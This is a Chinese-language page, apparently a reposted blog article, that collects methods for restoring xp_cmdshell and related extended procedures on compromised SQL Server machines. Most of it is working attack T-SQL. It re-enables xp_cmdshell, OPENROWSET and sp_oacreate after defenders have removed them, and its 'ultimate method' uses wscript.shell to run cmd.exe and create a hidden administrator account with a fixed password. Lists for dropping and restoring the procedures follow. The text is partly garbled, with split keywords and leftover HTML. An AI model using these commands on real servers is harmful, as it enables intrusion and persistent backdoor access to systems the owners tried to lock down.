公众号推荐
微信公众号搜"智元新知" 关注 微信扫一扫可直接关注哦!
SQL入侵恢复xp_cmdshell方法总结
时间:2019-01-04 分类:MsSQL 作者:编程之家
1433 sql 入侵恢复xp_cmds hell方法 总结 sql server 2005下开启xp_cmds hell的办法 EXEC sp_config ure 'show advanced options',1;RECONfig URE;EXEC sp_config ure 'xp_cmds hell',1;RECONfig URE; sql 2005开启'OPENROWSET'支持 的方法 : exec sp_config ure 'show advanced options',1;RECONfig URE;exec sp_config ure 'Ad Hoc distribute d Queries',1;RECONfig URE; sql 2005开启'sp_oacreate'支持 的方法 : exec sp_config ure 'show advanced options',1;RECONfig URE;exec sp_config ure 'Ole Automation Procedures',1;RECONfig URE; 突破SA的各种困难 常见情况恢复执行xp_cmds hell 1 未能找到存储过程'master..xpc mds hell'. 恢复方法 :查询 分离器连接后, 第一步执行:EXEC sp_addextendedproc xp_cmds hell,@dllname ='xplog70.dll'declare @o int 第二步执行:sp_addextendedproc 'xp_cmds hell','xpsql 70.dll' 然后按F5键命令执行完毕 2 无法装载 DLL xpsql 70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。) 恢复方法 :查询 分离器连接后, 第一步执行:sp_dropextendedproc "xp_cmds hell" 第二步执行:sp_addextendedproc 'xp_cmds hell','xpsql 70.dll' 然后按F5键命令执行完毕 3 无法在库 xpweb70.dll 中找到函数 xp_cmds hell。原因: 127(找不到指定的程序。) 恢复方法 :查询 分离器连接后, 第一步执行:exec sp_dropextendedproc 'xp_cmds hell' 第二步执行:exec sp_addextendedproc 'xp_cmds hell','xpweb70.dll' 然后按F5键命令执行完毕 四.终极方法 . 如果以上方法 均不可恢复,请尝试用下面的办法直接添加 帐户: 查询 分离器连接后, 2000servser系统: declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system 32\cmd.exe /c net user dell huxifeng007 /add' declare @shell int exec sp_oacreate 'wscript.shell','c:\winnt\system 32\cmd.exe /c net localgroup administrators dell /add' xp或2003server系统: declare @shell int exec sp_oacreate 'wscript.shell','c:\windows\system 32\cmd.exe /c net user dell huxifeng007 /add' declare @shell int exec sp_oacreate 'wscript.shell','c:\windows\system 32\cmd.exe /c net localgroup administrators dell /add' -------------- xp_cmds hell新的恢复办法 删除 drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmds hell' 恢复 dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmds hell","xplog70.dll") 这样可以直接恢复,不用去管sp_addextendedproc是不是存在 ----------------------------- 删除 扩展存储过过程xp_cmds hell的语句: exec sp_dropextendedproc 'xp_cmds hell' 恢复cmds hell的sql 语句 exec sp_addextendedproc xp_cmds hell,@dllname ='xplog70.dll' 开启cmds hell的sql 语句 exec sp_addextendedproc xp_cmds hell,@dllname ='xplog70.dll' 判断存储扩展是否存在 select count() from master.dbo.sysobjects where xtype='x' and name='xp_cmds hell' 返回结果为1就ok 恢复xp_cmds hell exec master.dbo.addextendedproc 'xp_cmds hell','xplog70.dll';select count( ) from master.dbo.sysobjects where xtype='x' and name='xp_cmds hell' 返回结果为1就ok 否则上传 xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmds hell','c:\winnt\system 32\xplog70.dll' 堵上cmds hell的sql 语句 sp_dropextendedproc "xp_cmds hell ---------------- 删除 sql 危险存储: <div class="codetitle"><a style="CURSOR: pointer" data="53295" class="copybut" id="copybut53295" onclick="doCopy('code53295')"> 代码 如下:
<div class="codebody" id="code53295">
DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_c
mds hell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc
/
不狐 附上恢复扩展存储过程的办法 先恢复sp_addextendedproc,语句如下: sql 代码 : <div class="codetitle"><a style="CURSOR: pointer" data="45009" class="copybut" id="copybut45009" onclick="doCopy('code45009')"> 代码 如下: <div class="codebody" id="code45009">
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/ (owner.)name of function to call
/ @dllname varchar(255)/ name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname,@dllname)
return (0) -- sp_addextendedproc
GO
再恢复以上所有扩展存储过程
sql 代码 :
<div class="codetitle">
<a style="CURSOR: pointer" data="22983" class="copybut" id="copybut22983" onclick="doCopy('code22983')"> 代码 如下:
<div class="codebody" id="code22983">
use master
exec sp_addextendedproc xp_c
mds hell,'xp_c
mds hell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_logincon
fig ,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。